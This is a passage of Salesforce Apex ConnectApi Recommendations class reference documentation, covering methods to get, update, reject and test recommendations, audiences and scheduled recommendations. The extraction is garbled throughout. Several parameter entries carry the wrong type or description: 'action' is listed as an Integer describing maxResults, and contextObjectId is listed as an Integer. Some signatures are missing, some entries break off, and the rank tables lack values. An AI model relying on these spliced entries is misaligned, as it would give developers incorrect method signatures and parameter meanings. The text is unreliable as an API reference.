deleteDefinitionIfLast

Type: Boolean
If true and if this is the last scheduled recommendation of a recommendation definition, deletes the recommendation definition.
Default is false.

Return Value
Type: Void

1217

Reference

Recommendations Class

Usage
Community managers (users with the Create and Set Up Communities or Manage Communities permission) can access, create, and
delete recommendation audiences, recommendation definitions, and scheduled recommendations in their communities. Users with
the Modify All Data permission can also access, create, and delete recommendation audiences, recommendation definitions, and
scheduled recommendations.
Deleting a scheduled recommendation is comparable to a deletion in an ordered list. All scheduled recommendations after the deleted
scheduled recommendation receive a new, higher rank automatically.

getRecommendationAudience(communityId, recommendationAudienceId)
Get information about a recommendation audience.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience getRecommendationAudience(String
communityId, String recommendationAudienceId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId

Type: String
ID of the recommendation audience.

Return Value
Type: ConnectApi.RecommendationAudience

getRecommendationAudienceMembership(communityId, recommendationAudienceId)
Get the members of a recommendation audience.

1218

Reference

Recommendations Class

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String
communityId, String recommendationAudienceId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId

Type: String
ID of the recommendation audience.

Return Value
Type: ConnectApi.UserReferencePage

getRecommendationAudienceMembership(communityId, recommendationAudienceId,
pageParam, pageSize)
Get a page of recommendation audience members.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.UserReferencePage getRecommendationAudienceMembership(String
communityId, String recommendationAudienceId, Integer pageParam, Integer pageSize)

1219

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId

Type: String
ID of the recommendation audience.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of members per page.

Return Value
Type: ConnectApi.UserReferencePage

getRecommendationAudiences(communityId)
Get recommendation audiences.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String
communityId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

1220

Reference

Recommendations Class

Return Value
Type: ConnectApi.RecommendationAudiencePage

getRecommendationAudiences(communityId, pageParam, pageSize)

Get a page of recommendation audiences.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudiencePage getRecommendationAudiences(String
communityId, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of audiences per page.

Return Value
Type: ConnectApi.RecommendationAudiencePage

1221

Reference

Recommendations Class

the Modify All Data permission can also access, create, and delete recommendation audiences, recommendation definitions, and
scheduled recommendations.

getRecommendationDefinition(communityId, recommendationDefinitionId)
Get a recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition getRecommendationDefinition(String
communityId, String recommendationDefinitionId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.

Return Value
Type: ConnectApi.RecommendationDefinition

getRecommendationDefinitionPhoto(communityId, recommendationDefinitionId)
Get a recommendation definition photo.

API Version
35.0

1222

Reference

Recommendations Class

Requires Chatter
Yes

Signature
public static ConnectApi.Photo getRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.

Return Value
Type: ConnectApi.Photo

getRecommendationDefinitions(communityId)
Get recommendation definitions.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinitionPage getRecommendationDefinitions(String
communityId)

Parameters
communityId

Type: String

1223

Reference

Recommendations Class

Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.RecommendationDefinitionPage

getRecommendationForUser(communityId, userId, action, objectId)

Returns the recommendation for the context user for the specified action and object ID.

API Version
33.0

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String objectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation.
followFollow a file, record, topic, or user.
joinJoin a group.
viewView a file, group, article, record, user, custom, or static recommendation.
objectId

Type: String
Specifies the object to take action on.

1224

Reference

Recommendations Class

If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
If action is join, objectId is a group ID.
If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID (version 34.0 and later),
the enum Today for static recommendations (version 35.0 and later), or an article ID (version 37.0 and later).

Return Value
Type: ConnectApi.RecommendationCollection

getRecommendationsForUser(communityId, userId, contextAction, contextObjectId,

maxResults)
Returns the user, group, file, record, custom, and static recommendations for the context user.

API Version
33.035.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId,
contextAction, contextObjectId, channel, maxResults).

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.

1225

Reference

Recommendations Class

contextAction
Type: ConnectApi.RecommendationActionType

Action that the context user just performed. Supported values are:
follow
view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
contextObjectId

Type: String
ID of the object that the context user just performed an action on.
If contextAction is follow, contextObjectId is a user ID, file ID, or record ID.
If contextAction is view, contextObjectId is a user ID, file ID, group ID, or record ID.
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
maxResults

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

Usage
If you want to get recommendations based on a recent action performed, such as following a user, use contextAction and
contextObjectId together. For example, if you just followed Pam, you specify follow for contextAction and Pams user
ID for contextObjectId.
This method only recommends users who are followed by people who follow Pam. In this example, John follows Pam so the method
returns a recommendation for you to follow Suzanne since John also follows Suzanne.

1226

Reference

Recommendations Class

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, contextAction, contextObjectId,

channel, maxResults)
Returns the user, group, file, article, record, topic, custom, and static recommendations for the context user.

API Version
36.0

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType

Type: String
ID of the object that the context user just performed an action on.

1227

Reference

Recommendations Class

If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel

Specifies a way to tie recommendations together, for example, to display recommendations in specific places in the UI or to show
recommendations based on time of day or geographic locations. Values are:
CustomChannel1Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels. For example, community managers can use Community Builder to determine where recommendations appear.
CustomChannel2Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
CustomChannel3Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
CustomChannel4Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
CustomChannel5Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
DefaultChannelDefault recommendation channel. Recommendations appear by default on the Napili community home
and question detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere
community managers add recommendations using Community Builder in communities using the Summer 15 or later version
of the Napili template.
maxResults

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

1228

Reference

Recommendations Class

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, action, contextAction,

contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action.

API Version
33.035.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId, action,
contextAction, contextObjectId, channel, maxResults).

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults)

1229

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

1230

Reference

Recommendations Class

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, action, contextAction,

contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action.

API Version
36.0

Requires Chatter
Yes

Parameters
communityId

Type: String

1231

Reference

Recommendations Class

Use either the ID for a community, internal, or null.

userId

Type: String
The ID for the context user or the keyword me.
action

Type: String
ID of the object that the context user just performed an action on.
If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel

1232

Reference

Recommendations Class

community managers add recommendations using Community Builder in communities using the Summer 15 or later version
of the Napili template.
maxResults

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, action, objectCategory,

contextAction, contextObjectId, maxResults)
Returns the recommendations for the context user for the specified action and object category.

1233

Reference

Recommendations Class

API Version
33.035.0
Important: In version 36.0 and later, use getRecommendationsForUser(communityId, userId, action,
objectCategory, contextAction, contextObjectId, channel, maxResults).

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String
objectCategory, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: String
If action is follow, objectCategory is users, files, or records.
If action is join, objectCategory is groups.
If action is view, objectCategory is users, files, groups, records, custom, or apps.
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
If action is follow, objectCategory is 005 (users), 069 (files), or 001 (accounts), for example.
If action is join, objectCategory is 0F9 (groups).
If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), or 001 (accounts), for example.
contextAction
Type: ConnectApi.RecommendationActionType

Action that the context user just performed. Supported values are:

1234

Reference

Recommendations Class

follow
view
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
contextObjectId

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

1235

Reference

Recommendations Class

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults,
result)
Testing ConnectApi Code

getRecommendationsForUser(communityId, userId, action, objectCategory,

contextAction, contextObjectId, channel, maxResults)
Returns the recommendations for the context user for the specified action and object category.

API Version
36.0

Requires Chatter
Yes

Signature
public static ConnectApi.RecommendationCollection getRecommendationsForUser(String
communityId, String userId, ConnectApi.RecommendationActionType action, String
objectCategory, ConnectApi.RecommendationActionType contextAction, String
contextObjectId, ConnectApi.RecommendationChannel channel, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: String
If action is follow, objectCategory is users, files, topics, or records.

1236

Reference

Recommendations Class

If action is join, objectCategory is groups.

If action is view, objectCategory is users, files, groups, records, custom, apps, or articles
(version 37.0 and later).
You can also specify a key prefix, the first three characters of the object ID, as the objectCategory. Valid values are:
If action is follow, objectCategory is 005 (users), 069 (files), 0TO (topics), or 001 (accounts), for example.
If action is join, objectCategory is 0F9 (groups).
If action is view, objectCategory is 005 (users), 069 (files), 0F9 (groups), 0RD (custom recommendations), T
(static recommendations), 001 (accounts), or kA0 (articles), for example, (version 370 and later).
contextAction
Type: ConnectApi.RecommendationActionType

1237

Reference

Recommendations Class

maxResults

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.

Return Value
Type: ConnectApi.RecommendationCollection

To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel,
maxResults, result)
Testing ConnectApi Code

getScheduledRecommendation(communityId, scheduledRecommendationId)
Get a scheduled recommendation.

API Version
35.0

1238

Reference

Recommendations Class

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation getScheduledRecommendation(String
communityId, String scheduledRecommendationId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId

Type: String
ID of the scheduled recommendation.

Return Value
Type: ConnectApi.ScheduledRecommendation

getScheduledRecommendations(communityId)
Get scheduled recommendations.

API Version
35.0 only
Important: In version 36.0 and later, use getScheduledRecommendations(communityId, channel).

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String
communityId)

1239

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

Return Value
Type: ConnectApi.ScheduledRecommendationPage

getScheduledRecommendations(communityId, channel)
Get scheduled recommendations.

API Version
36.0

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendationPage getScheduledRecommendations(String
communityId, ConnectApi.RecommendationChannel channel)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
channel
Type: ConnectApi.RecommendationChannel

1240

Reference

Recommendations Class

CustomChannel4Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
CustomChannel5Custom recommendation channel. Not used by default. Work with your community manager to define
custom channels.
DefaultChannelDefault recommendation channel. Recommendations appear by default on the Napili community home
and question detail pages and in the feed in communities in the Salesforce1 mobile browser app. They also appear anywhere
community managers add recommendations using Community Builder in communities using the Summer 15 or later version
of the Napili template.

Return Value
Type: ConnectApi.ScheduledRecommendationPage

rejectRecommendationForUser(communityId, userId, action, objectId)

Rejects the recommendation for the context user for the specified action and object ID.

API Version
33.0

Requires Chatter
Yes

Signature
public static rejectRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation. Supported values are:

1241

Reference

Recommendations Class

followFollow a file, record, topic, or user.

joinJoin a group.
viewView a file, group, article, record, user, custom, or static recommendation.
objectId

Type: String
Specifies the object to take action on.
If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
If action is join, objectId is a group ID.
If action is view, objectId is a custom recommendation ID, the enum Today for static recommendations, or an article
ID (version 37.0 and later).

Return Value
Type: Void

rejectRecommendationForUser(communityId, userId, action, objectEnum)

Rejects the static recommendation for the context user.

API Version
34.0

Requires Chatter
Yes

Signature
public static rejectRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendedObjectType objectEnum)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: ConnectApi.RecommendationActionType
Specifies the action to take on a recommendation. Supported values are:
viewView a static recommendation.
objectEnum
Type: ConnectApi.RecommendedObjectType

1242

Reference

Recommendations Class

Specifies the object type to take action on.

TodayStatic recommendations that dont have an ID, for example, the Today app recommendation.

Return Value
Type: Void

updateRecommendationAudience(communityId, recommendationAudienceId,
recommendationAudience)
Update a recommendation audience.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationAudience updateRecommendationAudience(String
communityId, String recommendationAudienceId, ConnectApi.RecommendationAudienceInput
recommendationAudience)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationAudienceId

Type: String
ID of the recommendation audience.
recommendationAudience
Type: ConnectApi.RecommendationAudienceInput

A ConnectApi.RecommendationAudienceInput object.

Return Value
Type: ConnectApi.RecommendationAudience

1243

Reference

Recommendations Class

updateRecommendationDefinition(communityId, recommendationDefinitionId, name,

title, actionUrl, actionUrlName, explanation)
Update a recommendation definition with the specified parameters.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String
communityId, String recommendationDefinitionId, String name, String title, String
actionUrl, String actionUrlName, String explanation recommendationDefinition)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
name

Type: String
The name of the recommendation definition. The name is displayed in Setup.
title

Type: String
The title of the recommendation definition.
actionUrl

Type: String
The URL for acting on the recommendation, for example, the URL to join a group.
actionUrlName

Type: String
The text label for the action URL in the user interface, for example, Launch.
explanation

Type: String
The explanation, or body, of the recommendation.

Return Value
Type: ConnectApi.RecommendationDefinition

1244

Reference

Recommendations Class

updateRecommendationDefinition(communityId, recommendationDefinitionId,
recommendationDefinition)
Update a recommendation definition.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.RecommendationDefinition updateRecommendationDefinition(String
communityId, String recommendationDefinitionId, ConnectApi.RecommendationDefinitionInput
recommendationDefinition)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
recommendationDefinition
Type: ConnectApi.RecommendationDefinitionInput

A ConnectApi.RecommendationDefinitionInput object containing the properties to update.

Return Value
Type: ConnectApi.RecommendationDefinition

1245

Reference

Recommendations Class

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId,
fileUpload)
Update a recommendation definition photo with a file that hasnt been uploaded.

API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId, ConnectApi.BinaryInput fileUpload)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

updateRecommendationDefinitionPhoto(communityId, recommendationDefinitionId,
fileId, versionNumber)
Update a recommendation definition photo with a file thats already uploaded.

API Version
35.0

1246

Reference

Recommendations Class

Requires Chatter
Yes

Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhoto(String communityId,
String recommendationDefinitionId, String fileId, Integer versionNumber)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
fileId

Type: String
ID of a file already uploaded. The file must be an image, and be smaller than 2 GB.
versionNumber

Type: Integer
Version number of the existing file. Specify either an existing version number, or null to get the latest version.

Return Value
Type: ConnectApi.Photo

updateRecommendationDefinitionPhotoWithAttributes(communityId,
recommendationDefinitionId, photo)
Update a recommendation definition photo with a file thats been uploaded but requires cropping.

API Version
35.0

Requires Chatter
Yes

1247

Reference

Recommendations Class

Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the file ID, version number, and cropping parameters.

Return Value
Type: ConnectApi.Photo

updateRecommendationDefinitionPhotoWithAttributes(communityId,
recommendationDefinitionId, photo, fileUpload)
Update a recommendation definition photo with a file that hasnt been uploaded and requires cropping.

API Version
35.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo updateRecommendationDefinitionPhotoWithAttributes(String
communityId, String recommendationDefinitionId, ConnectApi.PhotoInput photo,
ConnectApi.BinaryInput fileUpload)

1248

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
recommendationDefinitionId

Type: String
ID of the recommendation definition.
photo

Type: ConnectApi.PhotoInput
A ConnectApi.PhotoInput object specifying the cropping parameters.
fileUpload
Type: ConnectApi.BinaryInput

A file to use as the photo. The content type must be usable as an image.

Return Value
Type: ConnectApi.Photo

updateScheduledRecommendation(communityId, scheduledRecommendationId,
scheduledRecommendation)
Update a scheduled recommendation.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String
communityId, String scheduledRecommendationId, ConnectApi.ScheduledRecommendationInput
scheduledRecommendation)

1249

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId

Type: String
ID of the scheduled recommendation.
scheduledRecommendation
Type: ConnectApi.ScheduledRecommendationInput

A ConnectApi.ScheduledRecommendationInput object containing the properties to update.

Return Value
Type: ConnectApi.ScheduledRecommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationB

ScheduledRecommendationC

And you include this information in the Scheduled Recommendation Input:

Scheduled Recommendation

Rank

ScheduledRecommendationD

The result is:

Scheduled Recommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationD

ScheduledRecommendationB

1250

Reference

Recommendations Class

Scheduled Recommendation

Rank

ScheduledRecommendationC

updateScheduledRecommendation(communityId, scheduledRecommendationId, rank,

enabled, recommendationAudienceId)
Update a scheduled recommendation with the specified parameters.

API Version
35.0

Requires Chatter
No

Signature
public static ConnectApi.ScheduledRecommendation updateScheduledRecommendation(String
communityId, String scheduledRecommendationId, Integer rank, Boolean enabled, String
recommendationAudienceId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
scheduledRecommendationId

Type: String
ID of the scheduled recommendation.
rank

1251

Reference

Recommendations Class

recommendationAudienceId

Type: String
ID of the recommendation definition that this scheduled recommendation schedules.

Return Value
Type: ConnectApi.ScheduledRecommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationB

ScheduledRecommendationC

And you include this information in the Scheduled Recommendation Input:

Scheduled Recommendation

Rank

ScheduledRecommendationD

The result is:

Scheduled Recommendation

Rank

ScheduledRecommendationA

ScheduledRecommendationD

ScheduledRecommendationB

ScheduledRecommendationC

Recommendations Test Methods

The following are the test methods for Recommendations. All methods are static.
For information about using these methods to test your ConnectApi code, see Testing ConnectApi Code.

1252

Reference

Recommendations Class

IN THIS SECTION:
setTestGetRecommendationForUser(communityId, userId, action, objectId, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, maxResults,
result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
setTestGetRecommendationsForUser(communityId, userId, action, objectCategory, contextAction, contextObjectId, channel,
maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

setTestGetRecommendationForUser(communityId, userId, action, objectId, result)

Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
33.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, String objectId,
ConnectApi.RecommendationCollection result)

1253

Reference

Recommendations Class

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

Type: String
Specifies the object to take action on.
If action is follow, objectId is a user ID, file ID, record ID, or topic ID (version 36.0 and later).
If action is join, objectId is a group ID.
If action is view, objectId is a user ID, file ID, group ID, record ID, custom recommendation ID, the enum Today for
static recommendations, or an article ID (version 37.0 and later).
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getRecommendationForUser(communityId, userId, action, objectId)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, contextAction,

contextObjectId, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
33.035.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,
contextAction, contextObjectId, channel, maxResults, result).

1254

Reference

Recommendations Class

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType contextAction, String contextObjectId, Integer
maxResults, ConnectApi.RecommendationCollection result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

1255

Reference

Recommendations Class

Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, contextAction,

contextObjectId, channel, maxResults, result)
Registers a ConnectApi.RecommendationCollection object to be returned when getRecommendationsForUser
is called with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.

API Version
36.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType contextAction, String contextObjectId,
ConnectApi.RecommendationChannel channel, Integer maxResults,
ConnectApi.RecommendationCollection result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
contextAction
Type: ConnectApi.RecommendationActionType

Type: String

1256

Reference

Recommendations Class

ID of the object that the context user just performed an action on.
If contextAction is follow, contextObjectId is a user ID, file ID, record ID, or topic ID.
If contextAction is view, contextObjectId is a user ID, file ID, group ID, record ID, or article ID (version 37.0 and
later).
Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
channel
Type: ConnectApi.RecommendationChannel

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, contextAction, contextObjectId, channel, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, contextAction,

1257

Reference

Recommendations Class

API Version
33.035.0
Important: In version 36.0 and later, use setTestGetRecommendationsForUser(communityId, userId,
action, contextAction, contextObjectId, channel, maxResults, result).

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
ConnectApi.RecommendationActionType action, ConnectApi.RecommendationActionType
contextAction, String contextObjectId, Integer maxResults,
ConnectApi.RecommendationCollection result)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
userId

Type: String
The ID for the context user or the keyword me.
action

1258

Reference

Recommendations Class

Use contextAction and contextObjectId together to get new recommendations based on the action just performed.
If you dont want recommendations based on a recent action, specify null.
maxResults

Type: Integer
Maximum number of recommendation results; default is 10. Values must be from 1 to 99.
result

Type: ConnectApi.RecommendationCollection
The object containing test data.

Return Value
Type: Void
SEE ALSO:
getRecommendationsForUser(communityId, userId, action, contextAction, contextObjectId, maxResults)
Testing ConnectApi Code

setTestGetRecommendationsForUser(communityId, userId, action, contextAction,

API Version
36.0

Requires Chatter
Yes

Signature
public static Void setTestGetRecommendationsForUser(String communityId, String userId,
